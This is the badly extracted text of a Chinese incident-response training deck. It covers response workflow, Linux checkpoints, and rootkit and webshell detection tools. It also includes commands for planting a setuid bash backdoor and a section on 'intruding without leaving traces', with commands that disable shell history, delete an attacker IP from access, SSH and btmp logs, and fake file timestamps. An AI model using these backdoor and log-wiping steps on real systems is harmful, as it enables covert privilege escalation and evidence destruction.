2024信息安全应急手册

信息安全信息安全应急手册介绍内容介绍内容1.应急响应流程2.重要检查点排查3.常用应急命令和工具排查4.应急响应案例介绍5.安装后门和发现后门6.如何入侵不留痕迹1.应急响应流程1.应急响应流程PAGEPAGE3安全事件应急流程图3.安全事件3.安全事件分析安全事件发现安 准备全运维层

4.安全事件4.安全事件分类分级是

是否需要第8.安全事件总结8.安全事件恢复7.安全事件抑8.安全事件总结8.安全事件恢复7.安全事件抑制调5.事件上报

9.应急预案更新是安全管 事件决策理 指导层6.协调处置安全事件6.协调处置安全事件安全事件

远程应急响应第三方组织（急人员）

了解安全事件情况（电话、邮件）

否确认是否去现场是去现场应急响应安全事件线索常被篡改……

应急分析ip找到攻击途径攻击源ip些啥？加固建议

应急报告介绍内容1.应急响应流程2.重要检查点排查3.常用应急命令和工具排查4.应急响应案例介绍5.安装后门和发现后门6.如何入侵不留痕迹2.应急重要点排查—linux目录结构2.应急重要点排查—linux目录结构PAGEPAGE72.应急重要点排查—linux常用进程服务介绍2.应急重要点排查—linux常用进程服务介绍PAGEPAGE82.应急重要点排查—linux应急检查点2.应急重要点排查—linux应急检查点PAGEPAGE92.应急重要点排查—linux常用应急命令2.应急重要点排查—linux常用应急命令PAGEPAGE10介绍内容1.应急响应流程2.重要检查点排查3.常用应急命令和工具排查4.应急响应案例介绍5.安装后门和发现后门6.如何入侵不留痕迹3.应急重要点排查—rootkit检查工具介绍3.应急重要点排查—rootkit检查工具介绍PAGEPAGE12内核级后门检查chkrootkit的使用project:#tar-zxvf#makesense#./chkrootkit发现内核级后门以及netstat命令已被篡改2.应急重要点排查—rootkit检查工具介绍2.应急重要点排查—rootkit检查工具介绍PAGEPAGE13内核级后门检查rkhunter的使用rootkithunter的使用Project:\hhttp://www.rootkit.nl/projects/rootkit_hunter.htmldownload:\h/rkhunter/rkhunter-1.3.4.tar.gz?use_mirror=jaist#tar-zxvfrkhunter-1.3.4.tar.gz#cdrkhunter-1.3.4#./installer.sh–h#./rkhunter-c发现内核级后门3.应急重要点排查—webshell检查工具介绍3.应急重要点排查—webshell检查工具介绍PAGEPAGE14webshell后门检查工具shelldete的使用Project:/emposha/PHP-Shell-Detector/zipball/masterdownload:/emposha/PHP-Shell-Detector/archive/master.zip#pythonshelldetect.py-dE:\测试工具\webshell发现webshellwscan检查工具的使用，选择路径即可进行扫描webshellscanner检查工具的使用，选择文件类型选择路径即可进行扫描对于是linux里的网站可以先把动态脚本打包回来，然后再用windowswebshell检查工具检查即可。#find/webroot-typef-name*.jsp|xargstarzcvfweb.tar.gz2.应急重要点排查—异常日志检查工具介绍2.应急重要点排查—异常日志检查工具介绍1717Web日志安全分析检查工具的使用，选择日志类型选择路径即可进行扫描介绍内容1.应急响应流程2.重要检查点排查3.常用应急命令和工具排查4.应急响应案例介绍5.安装后门和发现后门6.如何入侵不留痕迹5.安装rootkit后门和发现后门5.安装rootkit后门和发现后门PAGEPAGE19实验环境：Centos5.4后门工具：ddrk.tgzRootkit)是一个Linux结合shv和adore-ng优点的，内核级rootkit。已成功植入rookit无端口无进程，现在我用一个干净的netstat去执行看看,./ps和直接执行ps结果不一样，ps也被替换。/setupport登陆后门成功拷贝一个干净的netstat过来可以发现2013端口使用chkrootkit和rkhunter工具均可以发现后门PAGEPAGE5.安装s权限位后门和发现s权限位后门PAGE22PAGE22[root@localhost~]#cp/bin/bash/tmp/.wp[root@localhost~]#chmod4755/tmp/.wp[root@localhost~]#suhacker[hacker@localhostroot]$/tmp/.wp-p检查s权限位后门（需要root权限检查）find/-typef-perm-04000PAGEPAGE6.安装s权限位后门和发现s权限位后门PAGE23PAGE23[root@localhost~]#cp/bin/bash/tmp/.wp[root@localhost~]#chmod4755/tmp/.wp[root@localhost~]#suhacker[hacker@localhostroot]$/tmp/.wp-p检查s权限位后门（需要root权限检查）find/-typef-perm-04000介绍内容1.应急响应流程2.重要检查点排查3.常用应急命令和工具排查4.应急响应案例介绍5.安装后门和发现后门6.如何入侵不留痕迹6.如何入侵不留痕迹6.如何入侵不留痕迹PAGEPAGE25linux日志追踪与清除/var/log/secure:登录ssh登陆或者失败的日志记录/var/log/wtmp：记录登录者讯录，二进制文件，须用last来读取内容/var/log/btmp;记录登录失败的ip/root/.bash_histroy 记录输入过的命令/var/www/log/access_log apache记录日志exportHISTFILE=/dev/null;exportHISTSIZE=0;exportHISTFILESIZE=0删除你的websed-i/520.520.520.520/daccess_log*3.替换你的登录ssh的日志：sed-i's/520.520.520.520//g'secure.14.删除last日志记录的日志：btmp为二进制文件需要strings导出。stringsbtmp>btmp.1sed-i's/520.520.520.520/d'btmp.1touch-r旧btmp新btmp.1伪造新创建btmp.1的时间为之前的时间rm-rf旧btmpmvbtmp.1btmp6.如何入侵不留痕迹—清除日志6.如何入侵不留痕迹—清除日志PAGEPAGE26linux日志追踪与清除/var/log/secure:登录ssh登陆或者失败的日志记录/var/log/wtmp：记录登录者讯录，二进制文件，须用last来读取内容/var/log/btmp;记录登录失败的ip/root/.bash_histroy 记录输入过的命令/var/www/log/access_log apache记录日志1.exportHISTFILE=/dev/null;exportHISTSIZE=0;exportHISTFILESIZE=02.删除你的web访问日志：sed-i'/520.520.520.520/d'access_log*3.替换你的登录ssh的日志：sed-i's/520.520.520.520//g'secure.14.删除last日志记录的日志：btmp为二进制文件需要strings导出。stringsbtmp>btmp.1sed-i's/520.520.520.520/d'btmp.1touch-r旧btmp新btmp.1伪造新创建btmp.1的时间为之前的时间rm-rf旧btmpmvbtmp.1btmp6.如何入侵不留痕迹—不记录history日志6.如何入侵不留痕迹—不记录history日志PAGEPAGE27让系统不记录你的history记录：#替换你的登录ssh的日志：sed-i's/520.520.520.520//g'secure.16.如何入侵不留痕迹—不记录history日志6.如何入侵不留痕迹—不记录history日志8822让系统不记录你的ssh登陆ip记录：#exportHISTFILE=/dev/null;exportHISTSIZE=0;exportHISTFILESIZE=06.如何入侵不留痕迹—不记录